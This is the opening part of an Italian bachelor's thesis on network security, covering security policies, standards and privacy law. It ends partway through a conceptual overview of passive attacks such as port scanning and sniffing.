Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

106
DIPARTIMENTO DI MATEMATICA E INFORMATICA Corso di Laurea Triennale in Informatica Tesi di Laurea Sicurezza delle Reti Informatiche: Le vulnerabilit` a Candidato: Riccardo Melioli Matricola 247967 Relatore: Chiar.mo Prof. Roberto Alfieri Anno Accademico 2015–2016

Transcript of Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Page 1: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

DIPARTIMENTO DI MATEMATICA E INFORMATICA

Corso di Laurea Triennale in Informatica

Tesi di Laurea

Sicurezza delle Reti Informatiche:Le vulnerabilita

Candidato:

Riccardo MelioliMatricola 247967

Relatore:

Chiar.mo Prof. Roberto Alfieri

Anno Accademico 2015–2016

Page 2: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Indice

1 Introduzione 11.0.1 Definizione di Sicurezza delle reti informatiche . . . . . . . . . 11.0.2 Politiche di Sicurezza . . . . . . . . . . . . . . . . . . . . . . . 1

1.1 Normative e Standard . . . . . . . . . . . . . . . . . . . . . . . . . . 21.1.1 Servizi di Sicurezza (RFC2828) . . . . . . . . . . . . . . . . . 31.1.2 La prevenzione dei guasti accidentali e dagli attacchi informatici

(ISO 27001) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31.1.3 Protezione dei dati personali (Decreto Legislativo 196/2003) . 4

1.2 Sicurezza dei dati . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Metodi di Attacco 72.1 Attacco passivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

2.1.1 Raccolta di informazioni su possibili obiettivi . . . . . . . . . 72.1.2 Intercettazione delle comunicazioni . . . . . . . . . . . . . . . 8

2.2 Attacco attivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92.2.1 Fabbricazione dell’identità di un’altra entità . . . . . . . . . . 92.2.2 Interruzione/compromissione di servizi . . . . . . . . . . . . . 102.2.3 Sfruttamento di bug nel software o vulnerabilità nel sistema . 102.2.4 Diffusione intenzionale di vulnerabilità: Malware . . . . . . . 112.2.5 Ingegneria Sociale . . . . . . . . . . . . . . . . . . . . . . . . 16

3 Metodi di Difesa 183.1 Policy per l’utente e l’amministratore . . . . . . . . . . . . . . . . . . 183.2 Difesa della LAN o dell’Host . . . . . . . . . . . . . . . . . . . . . . . 203.3 Rinforzo di autenticazione e riservatezza . . . . . . . . . . . . . . . . 23

4 Vulnerabilità 344.1 Vulnerabilità ed Exploit . . . . . . . . . . . . . . . . . . . . . . . . . 34

4.1.1 Vulnerabilità . . . . . . . . . . . . . . . . . . . . . . . . . . . 344.1.2 Categorie delle vulnerabilità . . . . . . . . . . . . . . . . . . . 354.1.3 Ciclo di vita delle vulnerabilità . . . . . . . . . . . . . . . . . 364.1.4 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

4.2 Vulnerability Assessment . . . . . . . . . . . . . . . . . . . . . . . . . 384.3 Vulnerability Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

4.3.1 Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404.3.1.1 Storia . . . . . . . . . . . . . . . . . . . . . . . . . . 404.3.1.2 Cos’è . . . . . . . . . . . . . . . . . . . . . . . . . . 41

i

Page 3: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

INDICE ii

4.3.1.3 Come funziona . . . . . . . . . . . . . . . . . . . . . 414.3.1.4 Struttura . . . . . . . . . . . . . . . . . . . . . . . . 424.3.1.5 Knowledge Base . . . . . . . . . . . . . . . . . . . . 424.3.1.6 Scansione di un sistema . . . . . . . . . . . . . . . . 434.3.1.7 Interpretazione dei risultati . . . . . . . . . . . . . . 444.3.1.8 Tipi di licenza . . . . . . . . . . . . . . . . . . . . . 45

4.3.2 OpenVAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484.3.2.1 Storia . . . . . . . . . . . . . . . . . . . . . . . . . . 484.3.2.2 Cos’è . . . . . . . . . . . . . . . . . . . . . . . . . . 484.3.2.3 Come Funziona . . . . . . . . . . . . . . . . . . . . . 494.3.2.4 Struttura . . . . . . . . . . . . . . . . . . . . . . . . 504.3.2.5 Aggiornamento NVT . . . . . . . . . . . . . . . . . 524.3.2.6 Codice Sorgente OpenVAS . . . . . . . . . . . . . . 534.3.2.7 Software di sicurezza integrati in OpenVAS . . . . . 53

4.4 Vulnerability Database . . . . . . . . . . . . . . . . . . . . . . . . . . 574.4.0.1 CVE . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

5 Il Linguaggio NASL e Applicazioni 625.1 Il Linguaggio NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

5.1.1 La grammatica NASL . . . . . . . . . . . . . . . . . . . . . . 635.1.2 Le librerie NASL . . . . . . . . . . . . . . . . . . . . . . . . . 64

5.1.2.1 Costanti predefinite . . . . . . . . . . . . . . . . . . 645.1.2.2 Funzioni . . . . . . . . . . . . . . . . . . . . . . . . 65

5.2 Plugin in NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 695.3 Esempi di plugin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

5.3.1 Forging Packet . . . . . . . . . . . . . . . . . . . . . . . . . . 715.3.1.1 Forging Packet IP - IP Spoofing . . . . . . . . . . . 715.3.1.2 Forging Packet UDP - DNS Spoofing / DNS Cache

Poisoning . . . . . . . . . . . . . . . . . . . . . . . . 745.3.1.3 Forging Packet TCP - Reset Attack . . . . . . . . . 76

5.3.2 FTP test . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 785.3.3 Teardrop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 815.3.4 Port Checker . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

6 Caso d’uso: Rete INFN Parma 886.1 INFN - Istituto Nazionale di Fisica Nucleare . . . . . . . . . . . . . . 886.2 Struttura della rete INFN di Parma . . . . . . . . . . . . . . . . . . 896.3 Vulnerability Assessment della rete INFN di Parma . . . . . . . . . . 90

6.3.1 Scansione delle vulnerabilità . . . . . . . . . . . . . . . . . . . 916.3.2 Valutazioni sugli host vulnerabili . . . . . . . . . . . . . . . . 94

6.4 Attacco ad un host vulnerabile . . . . . . . . . . . . . . . . . . . . . 946.4.1 Plugin in NASL - RCE attack . . . . . . . . . . . . . . . . . . 94

Conclusioni 97

Bibliografia 100

Page 4: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Elenco delle figure

2.1 Diffusione Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112.2 Infezioni Malware Q2 2015 . . . . . . . . . . . . . . . . . . . . . . . . 122.3 Numero di utenti attaccati da Ransomware (Q4 2014 - Q3 2015) . . 162.4 Spam in proporzione al traffico mail, Gennaio - Giugno 2015 . . . . . 172.5 Paesi da cui proviene lo spam, Q2 2015 . . . . . . . . . . . . . . . . . 17

3.1 LAN e Personal Firewall . . . . . . . . . . . . . . . . . . . . . . . . . 213.2 Crittografia Simmetrica . . . . . . . . . . . . . . . . . . . . . . . . . 243.3 Crittografia Asimmetrica . . . . . . . . . . . . . . . . . . . . . . . . . 253.4 Certificato X.509 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273.5 Autenticazione tramite password: PAP . . . . . . . . . . . . . . . . . 283.6 Autenticazione tramite password: CHAP . . . . . . . . . . . . . . . . 293.7 Autenticazione con challenge e chiave simmetrica . . . . . . . . . . . 293.8 Autenticazione Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . 313.9 Sicurezza nelle comunicazioni . . . . . . . . . . . . . . . . . . . . . . 32

4.1 Vulnerabilità per anno, dal 1999 al 2016 . . . . . . . . . . . . . . . . 354.2 Vulnerabilità per tipo, dal 1999 al 2016 . . . . . . . . . . . . . . . . . 364.3 Finestra temporale di una vulnerabilità . . . . . . . . . . . . . . . . . 374.4 Distribuzione degli exploit usati negli attacchi, per tipo di applicazione,

2015 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394.5 Esempio di un report di Nessus . . . . . . . . . . . . . . . . . . . . . 424.6 Nessus scansione tradizionale . . . . . . . . . . . . . . . . . . . . . . 464.7 Nessus Agent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474.8 Funzionamento delle componenti di OpenVAS . . . . . . . . . . . . . 494.9 Esempio di un report di OpenVAS . . . . . . . . . . . . . . . . . . . 504.10 Protocolli di comunicazione delle componenti di OpenVAS . . . . . . 514.11 OpenVAS NVT feed . . . . . . . . . . . . . . . . . . . . . . . . . . . 534.12 Struttura del codice sorgente di OpenVAS . . . . . . . . . . . . . . . 534.13 W3af: schermata principale . . . . . . . . . . . . . . . . . . . . . . . 574.14 Vulnerabilità, per anno, dal 2005 al 2014, OSVDB . . . . . . . . . . 584.15 Vulnerabilità, per anno, dal 2005 al 2014, NVD . . . . . . . . . . . . 594.16 Metriche CVSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

5.1 Precedenza degli operatori nel linguaggio NASL, dalla maggiore prio-rità alla minore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

5.2 Esecuzione plugin NASL con interprete di Nessus . . . . . . . . . . . 71

iii

Page 5: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

5.3 Forging IP - Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . 735.4 Forging UDP DNS attack - Wireshark . . . . . . . . . . . . . . . . . 755.5 Forging TCP Reset Attack - Wireshark . . . . . . . . . . . . . . . . . 775.6 FTP Test - Kali . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 795.7 FTP Test - Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . 805.8 Teardrop - Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . 835.9 Port Checker - Kali . . . . . . . . . . . . . . . . . . . . . . . . . . . . 855.10 Port Checker - Richiesta - Wireshark . . . . . . . . . . . . . . . . . . 865.11 Port Checker - Risposta - Wireshark . . . . . . . . . . . . . . . . . . 87

6.1 Mappa delle strutture INFN . . . . . . . . . . . . . . . . . . . . . . . 896.2 Risultati della scansione della rete INFN con Nessus . . . . . . . . . 916.3 Elenco Vulnerabilità di un host della rete INFN . . . . . . . . . . . . 926.4 Dettagli di una vulnerabilità di un host della rete INFN . . . . . . . 936.5 Remote Code Execution - Vittima . . . . . . . . . . . . . . . . . . . 966.6 Remote Code Execution - Attaccante . . . . . . . . . . . . . . . . . . 97

Elenco delle tabelle

1.1 Categorizzazione della dimensione delle reti . . . . . . . . . . . . . . 21.2 Criticità dei diversi tipi di dati presenti nelle aziende . . . . . . . . . 6

2.1 Infezioni Malware Q2 2015 . . . . . . . . . . . . . . . . . . . . . . . . 11

4.1 Confronto funzionalità di ricerca delle diverse licenze di Nessus . . . 474.3 Confronto funzionalità di gestione delle diverse licenze di Nessus . . . 474.2 Confronto capacita della valutazione del rischio delle diverse licenze

di Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484.4 Confronto report delle diverse licenze di Nessus . . . . . . . . . . . . 48

iv

Page 6: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Abstract

La Sicurezza informatica è il ramo dell’informatica che si occupa dell’analisi dellevulnerabilità, del rischio, delle minacce e della successiva protezione dell’integritàlogico-funzionale. In particolare, nella sicurezza delle reti si valutano l’eventualepresenza di vulnerabilità dei singoli nodi che compongono la rete, la sicurezza delloscambio di informazioni tra i nodi e tutto quello che riguarda l’interfacciarsi di unnodo in una rete.Negli ultimi anni ha acquisito progressivamente maggiore interesse a causa dellacrescente informatizzazione della società e dei servizi, in particolare per i settori dovele informazioni conservate, scambiate o create sono di importanza critica.La problematica della sicurezza delle reti consiste nel compromesso tra le misure disicurezza da adottare per proteggere la rete da accessi indesiderati e la versatilitàcon cui essa opera. Particolarmente critica è la problematica legata alla presenzadi vulnerabilità che può compromettere l’intero funzionamento della rete stessa el’integrità dei nodi da cui è composta.Il seguente documento ha lo scopo di analizzare dettagliatamente i metodi utilizzatiper l’attacco e la difesa delle reti informatiche, illustrando con particolare attenzionele vulnerabilità, come rilevarle, verificarne l’effettivo pericolo ed agire di conseguenzaper rimuoverle, portando i singoli nodi della rete e, conseguentemente la rete stessa,in uno stato sicuro. Vengono inoltre descritti, un caso d’uso alla rete INFN di Parma,effettuando un vulnerability assessment ed un esempio completo di attacco ad unhost vulnerabile e la creazione di programmi, in linguaggio NASL, dimostrativi didiversi tipi di attacchi informatici, svolti durante il periodo di tirocinio.

v

Page 7: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 1

Introduzione

Nei primi decenni della loro esistenza le reti informatiche vennero utilizzateprevalentemente dai ricercatori universitari per inviare e-mail e dalle aziende percondividere le stampanti. In quelle applicazioni non essendo tendenzialmente critiche,non si prestava particolare attenzione alla sicurezza. Negli ultimi anni è diventatoun problema molto sentito in ambito tecnico-informatico per via della crescenteinformatizzazione della società e dei servizi (pubblici e privati) in termini di apparatie sistemi informatici.

La sicurezza informatica è un argomento vasto, che copre una moltitudine diproblemi. Nella forma più semplice, riguarda come fare in modo che intrusi nonriescano a leggere (o modificare di nascosto) i messaggi destinati a terzi. Si occupainoltre di impedire che determinate persone possano accedere a servizi remoti che nonsono autorizzati ad usare. La sicurezza si occupa anche di come accertarsi dell’identitàdei mittenti dei messaggi, di come impedire l’intercettazione e la ripetizione dimessaggi legittimi catturati sulla rete e di come perseguire chi afferma di non avermai spedito certi messaggi.

1.0.1 Definizione di Sicurezza delle reti informatiche

Con il termine sicurezza informatica si intende quel ramo dell’informatica che sioccupa dell’analisi delle vulnerabilità, del rischio, delle minacce e della successivaprotezione dell’integrità logico-funzionale. In particolare, nella sicurezza delle retisi valutano l’eventuale presenza di vulnerabilità dei singoli nodi che compongono larete, la sicurezza dello scambio di informazioni tra i nodi e tutto quello che riguardal’interfacciarsi di un nodo in una rete.

1.0.2 Politiche di Sicurezza

La realizzazione di un sistema che garantisca un’assoluta protezione da abusiè impossibile, ma è possibile attivare meccanismi di sicurezza tali da limitare escoraggiare i tentativi.La politica di sicurezza è quindi un compromesso, dettato dalle proprie necessità, trail costo per attivarla ed il beneficio ottenuto in termini di diminuzione del rischio.Le politiche variano a seconda delle dimensioni delle reti, comportandone diversenecessità, elenchiamo di seguito una possibile categorizzazione delle dimensioni:

1

Page 8: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 1. INTRODUZIONE 2

• Domestica (Home): Rete di dimensioni limitate, utilizzata tipicamente al-l’interno dello stesso edificio, la quale si interfaccia con internet tramite unmodem-router, solitamente non professionale, che può avere anche le funziona-lità di AP Wireless e di Firewall. Il numero di servizi attivati è basso, datoche generalmente non vi sono installati Server (Web, mail, DNS, ...). L’utenzanecessità quasi univocamente di collegarsi verso l’esterno o a dispositivi localialla rete: NAS, dispositivi di Casting, Mediaserver.La Sicurezza è data dal firewall, che di default è bloccante per ogni servizioproveniente dall’esterno.

• Aziendale (Corporate): Rete di dimensioni variabili a seconda delle necessitàdell’azienda, tendenzialmente superano la dimensione di una rete domestica, ècomposta da più dispositivi professionali che gestiscono tutta l’infrastrutturadella rete, permettendo la suddivisione in zone e il controllo del traffico di ognizona. Il numero di servizi attivati è elevato, dato che nell’ambito aziendale, perrispondere al fabbisogno informatico richiesto dall’attività, sono spesso fornitiservizi: VPN, Web, mail, DNS, ...Questa necessità di servizi comporta ad un alto fabbisogno di sicurezza, perciòsono spesso impiegati dispositivi di controllo del traffico, anti-virus di rete econtrolli periodici per verificcare la presenza di eventuali vulnerabilità.

• Fornitore di servizio (Provider): Rete di grande dimensione, svolge il ruolodi fornire connessione a utenti pubblici e privati, è composta da dispositivi adaltissime prestazione che connettono le reti assegnate agli utenti, sia fra di loroche con internet. Il numero di servizi è alto dato dipende dal tipo di utenza.La Sicurezza si limita a monitorare e analizzare superficialmente il traffico, pernon gravare sulle prestazioni, bloccando le connessioni a certi indirizzi presentiin una determinata blacklist, che spesso contiene siti bloccati dallo stato diapparenza del provider, inoltre potrebbe essere presente un anti-virus di rete,che impedisce il download di file che potrebbero compromettere l’integrità delsistema.

Riassumiamo nella tabella 1.1 le precedenti categorie:

Rete Numero di Host Numero di Servizi ProtezioneDomestica Piccola (∼ 1-254) Basso BaseAziendale Media (∼ 255-1024) Alto Elevata

Fornitore di servizio Grande (∼ > 1024) Alto MinimaTabella 1.1: Categorizzazione della dimensione delle reti

1.1 Normative e Standard

Nella seguente sezione verranno trattate le Normative e Standard vigenti e inerentiall’abito informatico, facendo riferimento ad organi internazionali come IETF (Inter-net Engineering Task Force), ISO (International Organization for Standardization).

Page 9: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 1. INTRODUZIONE 3

1.1.1 Servizi di Sicurezza (RFC2828)

L’Internet Engineering Task Force (IETF), organismo internazionale, libero,composto da tecnici, specialisti e ricercatori interessati all’evoluzione tecnica etecnologica di Internet definisce e classifica i servizi di sicurezza nel seguente modo(RFC2828 (Internet Security Glossary – Maggio 2000):

• Autenticazione: un servizio che consente di accertare l’identità dichiarata daun’entità (origine dei dati o peer in una comunicazione) mediate la verifica dicredenziali.

• Autorizzazione: protegge l’accesso ad una risorsa mediante l’applicazione di“Security Policy”.

• Audit: registrazione di eventi di sistema o di rete. Consente di rintracciare,ricostruire (ed eventualmente addebitare) l’utilizzo delle risorse.

• Confidenzialità/Riservatezza: impedisce l’utilizzo delle informazioni daaccessi non autorizzati.

• Integrità dei dati: consente di garantire che i dati acceduti non sono statimodificati.

• Integrità dei sistemi: protegge le risorse del sistema contro modifiche,distruzioni accidentali o non autorizzate.

• Non ripudio: fornisce protezione contro il ripudio nel coinvolgimento in unacomunicazione. Può essere:

– Non ripudio della sorgente: prova chi è il mittente dei dati in unatransazione.

– Non ripudio della destinazione: prova che i dati sono arrivati ad unospecifico destinatario.

• Disponibilità: fornisce una protezione per garantire accessibilità di una risorsadi sistema o di rete.

1.1.2 La prevenzione dei guasti accidentali e dagli attacchi infor-matici (ISO 27001)

Lo standard internazionali di sicurezza ISO 27001, è una norma che definiscei requisiti per impostare e gestire un Sistema di Gestione della Sicurezza delleInformazioni, ed include aspetti relativi alla sicurezza logica, fisica ed organizzativa.L’obiettivo di questo standard è la salvaguardia dei dati e dei sistemi che li contengonoper difenderli da guasti tecnici accidentali o in caso di danneggiamenti fisici subitidai sistemi. Spesso le tecniche di protezione da eventi accidentali sono un’ottimarisposta anche a problemi di sicurezza dovuti a attacchi informatici, dato che gliobiettivi di tali standard sono:

• protezione dei dati contenuti nei sistemi;

• garanzia di continuità di servizio (business continuity).

Page 10: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 1. INTRODUZIONE 4

1.1.3 Protezione dei dati personali (Decreto Legislativo 196/2003)

il Decreto legislativo n. 196 emanato il 30 giugno 2003, è una norma dellaRepubblica Italiana riguardante la protezione dei dati personali (comunemente notoanche come codice della privacy), il quale, tutela il diritto del singolo sui propri datipersonali e, conseguentemente, alla disciplina delle diverse operazioni di gestione(tecnicamente "trattamento") dei dati, riguardanti la raccolta, l’elaborazione, ilraffronto, la cancellazione, la modifica, la comunicazione o la diffusione degli stessi.Il contenuto del decreto fa chiarezza fornendo precise definizioni:

• Trattamento dei dati: qualunque operazione o complesso di operazioni,effettuati anche senza l’ausilio di strumenti elettronici, concernenti la raccolta, laregistrazione, l’organizzazione, la conservazione, la consultazione, l’elaborazione,la modifica, la selezione, l’estrazione, il raffronto, l’utilizzo, l’interconnessione,il blocco, la comunicazione, la diffusione, la cancellazione e la distruzione didati, anche se non registrati in una banca dati.

• Dato personale: identificano le informazioni relative alla persona fisica, iden-tificati o identificabili, anche indirettamente, mediante riferimento a qualsiasialtro dato, ivi compreso un numero di riconoscimento personale.

• Dati identificativi: dati personali che permettono l’identificazione direttadell’interessato.

• Dati sensibili: dati personali idonei a rivelare:

– l’origine razziale ed etnica;

– le convinzioni religiose, filosofiche o di altro genere;

– le opinioni politiche;

– l’adesione a partiti, sindacati, associazioni od organizzazioni a caratterereligioso, filosofico, politico o sindacale;

– lo stato di salute e la vita sessuale.

• Dati giudiziari: dati personali in materia di casellario giudiziale, di anagrafedelle sanzioni amministrative dipendenti da reato e dei relativi carichi pendenti.Inoltre possono essere quei dati personali indicanti la qualità di imputato o diindagato.

Lo Stato Italiano tutela il cittadino in caso di lesione nei diritti sui propri dati amente del d. lgs. 196/03 (ad esempio: raccolta dei dati senza il consenso, consensoacquisito senza fornire la preventiva informativa di legge, trattamento dei dati oltre ilimiti del consenso dato, negazione o limitazione al diritto di accesso) il quale puòricorrere al Garante per la protezione dei dati personali (con una procedura piuttostorapida e costi contenuti) o al giudice civile (con costi e tempi maggiori). Se invece siè addirittura subito un danno per trattamento dei dati non conforme alla legge (nonnecessariamente economico) il risarcimento può essere concesso in via esclusiva solodal giudice civile.

Page 11: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 1. INTRODUZIONE 5

1.2 Sicurezza dei dati

La protezione dei dati è uno degli aspetti centrali della sicurezza informatica,in particolare nell’ambito aziendale, l’informazione è considerata un bene aziendale.La maggior parte delle informazioni sono custodite su supporti informatici, ogniorganizzazione (Università, Ente di ricerca, Banca, Azienda Commerciale, ...) deveessere in grado di garantire la sicurezza dei propri dati, in un contesto dove i rischiinformatici causati dalle violazioni dei sistemi di sicurezza sono in continuo aumento.Per questo esistono, a carico delle imprese, precisi obblighi in materia di privacy, tracui quello di redigere annualmente uno specifico documento programmatico sullasicurezza.I rischi diretti per un’azienda possono essere riassunti in:

• furti di denaro, informazioni, dati sui propri clienti;

• perdita di produttività dovute a corruzioni dei dati o danneggiamento deisistemi, con in aggiunta il danno economico dovuto al ripristino delle normalicondizioni di operatività.

Accanto ad essi sono presenti numerosi rischi indiretti come:

• perdita di potenziali clienti;

• svantaggi sui propri prodotti;

• impatto negativo sul proprio brand name;

• esposizioni legali al non rispetto delle clausole di riservatezza e al non rispettodelle leggi della privacy.

Ogni tipo di aziende necessita di differenti gradi di sicurezza per ogni tipo di datotrattato, a seconda di quanto le informazioni da loro create, scambiate o ottenutesiano critiche a livello di privacy, come trattato nella sezione 1.1.3, perciò si puòaffermare che è la tipologia del dato che da importanza alla sicurezza.Per fornire un quadro più completo della tipologia di dati presenti nelle aziendevengono definiti, in aggiunta a quelli visti nella sezione 1.1.3, i seguenti tipi di dati:

• Dati amministrativi: dati relativi alla gestione dell’organizzazione.

• Dati economici: dati relativi alla situazione economica di un individuo.

• Dati di ricerca: dati relativi a studi e ricerche effettuate da ricercatori inambito universitario o negli enti di ricerca.

• Dati di produzione: dati relativi alla fase di produzione, ad esempio i datirilevati dalle macchine.

Nella tabella 1.2 si confrontano alcune tipologie di aziende e i dati trattati inesse.

Page 12: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 1. INTRODUZIONE 6

Tipologia di azienda Tipologia di dato trattato Livello di criticità dei datiBanca Personali Medio

Giudiziari MedioIdentificativi MedioMonetari Alto

Ospedale Personali MedioIdentificativi Medio

Amministrativi MedioSensibili Alto

Azienda Commerciale Personali MedioIdentificativi Medio

Amministrativi MedioProduzione Medio/Alto

Università/Ente di ricerca Personali MedioIdentificativi Medio

Amministrativi MedioRicerca Basso

Tabella 1.2: Criticità dei diversi tipi di dati presenti nelle aziende

Come anticipato dalla tabella 1.2 aziende come le banche contengono informazionicritiche di ogni individuo, come i dati personali, necessari per poter intestare contio svolgere attività relative alla banca e dati monetari inerenti alle situazioni deiconti correnti e altri servizi offerti, quest’ultima tipologia di dato è di particolareimportanza dato che il core business delle banche si basa proprio su questi datiinterni. Perciò è di fondamentale importanza tutelare queste informazioni, in modoche non vi siano accessi da persone non autorizzate o nel caso più grave che possanoessere modificate.Similmente gli ospedali trattano dati particolarmente critici, dal punto di vista dellasituazione sanitaria dell’individuo(dati sensibili), perciò anche per tali strutture èfondamentale tutelare tali dati.Differente è la situazione dei dati nelle Aziende Commerciali, oltre a dipendereovviamente dal tipo di attività commerciale svolta, perciò più il core business di taleattività è incentrato sui dati, più il livello di criticità dei dati aumenta, dipende inoltredalla quantità di dati personali e identificativi richiesti all’individuo per svolgeretale attività. Quindi la necessità di sicurezza informatica in questo caso può variare.Infine per le Università e Enti di Ricerca si ha un livello di criticità tendenzialmentebasso dato che spesso il materiale viene divulgato alla comunità, però si necessita diproteggere l’identità dei dipendenti e l’autenticità del materiale prodotto da essi.

Page 13: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 2

Metodi di Attacco

Un attacco è un tentativo di accesso non autorizzato al sistema e di utilizzo nonautorizzato dei dati che può compromettere la riservatezza, l’integrità o anche ladisponibilità dei dati o del sistema stesso. Gli attacchi si possono suddividere inpassivi e attivi; gli attacchi passivi compromettono l’autenticazione e la riservatezzaper entrare in possesso di dati privati; gli attacchi attivi compromettono l’integritàe la disponibilità, cioè hanno come obiettivo l’alterazione delle informazioni o ildanneggiamento del sistema per renderlo non utilizzabile. Spesso quando un sistemaviene compromesso l’intruso inserisce programmi o virus per mascherare l’attacco, inmodo che non possa essere individuato, per procurarsi informazioni aggiuntive e percreare un accesso (backdoor) da sfruttare successivamente.

2.1 Attacco passivo

Questi attacchi sono finalizzati ad ottenere informazioni dai computer e stimarele possibili modalità di intrusione remota.

2.1.1 Raccolta di informazioni su possibili obiettivi

Attacco alla Confidenzialità/Riservatezza, i principali tipi di attacco sono:

• Network Monitor: sistema che analizza costantemente il traffico di rete.L’amministratore della rete, spesso, configura allarmi (via email o SMS) perl’avviso di eventuali situazioni critiche.

• Port Scanner: tecnica per sondare un server o un host stabilendo quali portesiano in ascolto sulla macchina. Questo è spesso utilizzato dagli amministratoriper verificare le politiche di sicurezza delle loro reti, e dagli hacker per identificarei servizi in esecuzione su un host e sfruttarne le vulnerabilità.Un portscan è un processo che invia le richieste dei client a un intervallodi indirizzi di porte su un host, con l’obiettivo di trovare una porta aperta.Elaborando le risposte è possibile stabilire quali servizi di rete siano attivi suquel computer. Una porta si dice "in ascolto" ("listening") o "aperta" quandovi è un servizio, programma o processo che la usa.

7

Page 14: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 8

2.1.2 Intercettazione delle comunicazioni

Attacco alla Confidenzialità/Riservatezza, i principali tipi di attacco sono:

• Sniffing: attività di intercettazione passiva dei dati che transitano in unarete telematica che permette l’intercettazione fraudolenta di password o altreinformazioni sensibili. I prodotti software utilizzati per eseguire queste attivitàvengono detti sniffer, ed oltre ad intercettare e memorizzare il traffico, offronofunzionalità di analisi del traffico stesso. Gli sniffer intercettano i singolipacchetti, decodificando le varie intestazioni di livello datalink, rete, trasporto,applicativo. Inoltre possono offrire strumenti che analizzano ad esempio tutti ipacchetti di una connessione TCP per valutare il comportamento del protocolloo per ricostruire lo scambio di dati tra le applicazioni.Lo sniffing si può applicare in più modalità:

– Sniffing del traffico locale: il traffico può essere intercettato da unodegli host coinvolti nella comunicazione, indipendentemente dal tipo diinterfaccia di rete su cui viene inviato.

– Sniffing in reti locali: per intercettare i dati in una rete locale ènecessario possedere od ottenere l’accesso fisico al mezzo trasmissivo.

– Sniffing in reti ethernet non-switched: in questo tipo di reti ethernetil mezzo trasmissivo (cavo coassiale o, attualmente, cavo UTP o STPconnesso ad un hub) è condiviso, quindi tutte le schede di rete dei com-puter nella rete locale ricevono tutti i pacchetti, anche quelli destinatiad altri, selezionando i propri a seconda dell’indirizzo MAC (indirizzohardware univoco della scheda di rete). Lo sniffing in questo caso consistenell’impostare sull’interfaccia di rete la cosiddetta modalità promiscua,che disattivando questo "filtro hardware" permette al sistema l’ascolto ditutto il traffico passante sul cavo.

– Sniffing in reti ethernet switched: in questo caso l’apparato centraledella rete, definito switch, si occupa di inoltrare su ciascuna porta solo iltraffico destinato al dispositivo collegato a quella porta: ciascuna interfac-cia di rete riceve, quindi solo i pacchetti destinati al proprio indirizzo ed ipacchetti di broadcast. L’impostazione della modalità promiscua è quindiinsufficiente per poter intercettare il traffico in una rete gestita da switch.In questo caso ci si può collegare ad una porta chiamata "SPAN" nellaterminologica di Cisco, "Roving Analysis" per 3Com e "port mirroring"per gli altri produttori, che riceve il traffico circolante su tutte le portedello switch. Alcuni metodi per poter ricevere tutto il traffico dallo switchda una porta qualunque sono il MAC flooding, l’ARP poisoning e il portstealing.

– Sniffing in reti geografiche: per intercettare i dati che transitano sureti geografiche si utilizzano tecniche Man in the middle analoghe a quelleaccennate in precedenza, operanti però a livello più alto: possono inter-venire a livello di instradamento del traffico IP (routing), oppure inviarealle vittime informazioni fittizie per quanto riguarda la corrispondenza tradominio e indirizzi IP sfruttando l’assenza di autenticazione del sistemaDNS.

Page 15: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 9

• Eavesdropping: attività di intercettazione passiva dei segnali radio decodifi-cando, o cercando di decodificare, i dati trasmessi da terzi. Le stesse componentihardware che sono utilizzate (schede di rete) per trasmettere e ricevere dati,possono essere modificate in modo da intercettare il traffico trasmesso su unparticolare canale o sua una certa frequenza della rete. Questo attacco necessitache la periferica modificata si trovi nel raggio di trasmissione wireless e, conquesti apparecchi "scanner", si possono raccogliere i dati relativi alla trasmis-sione: range del segnale, utilizzatori della rete, periodo di attività e inattivitàdella stessa e altro ancora, che possono essere impiegati per pianificare unattacco mirato alla rete, anche se le comunicazioni sono crittografate.

2.2 Attacco attivo

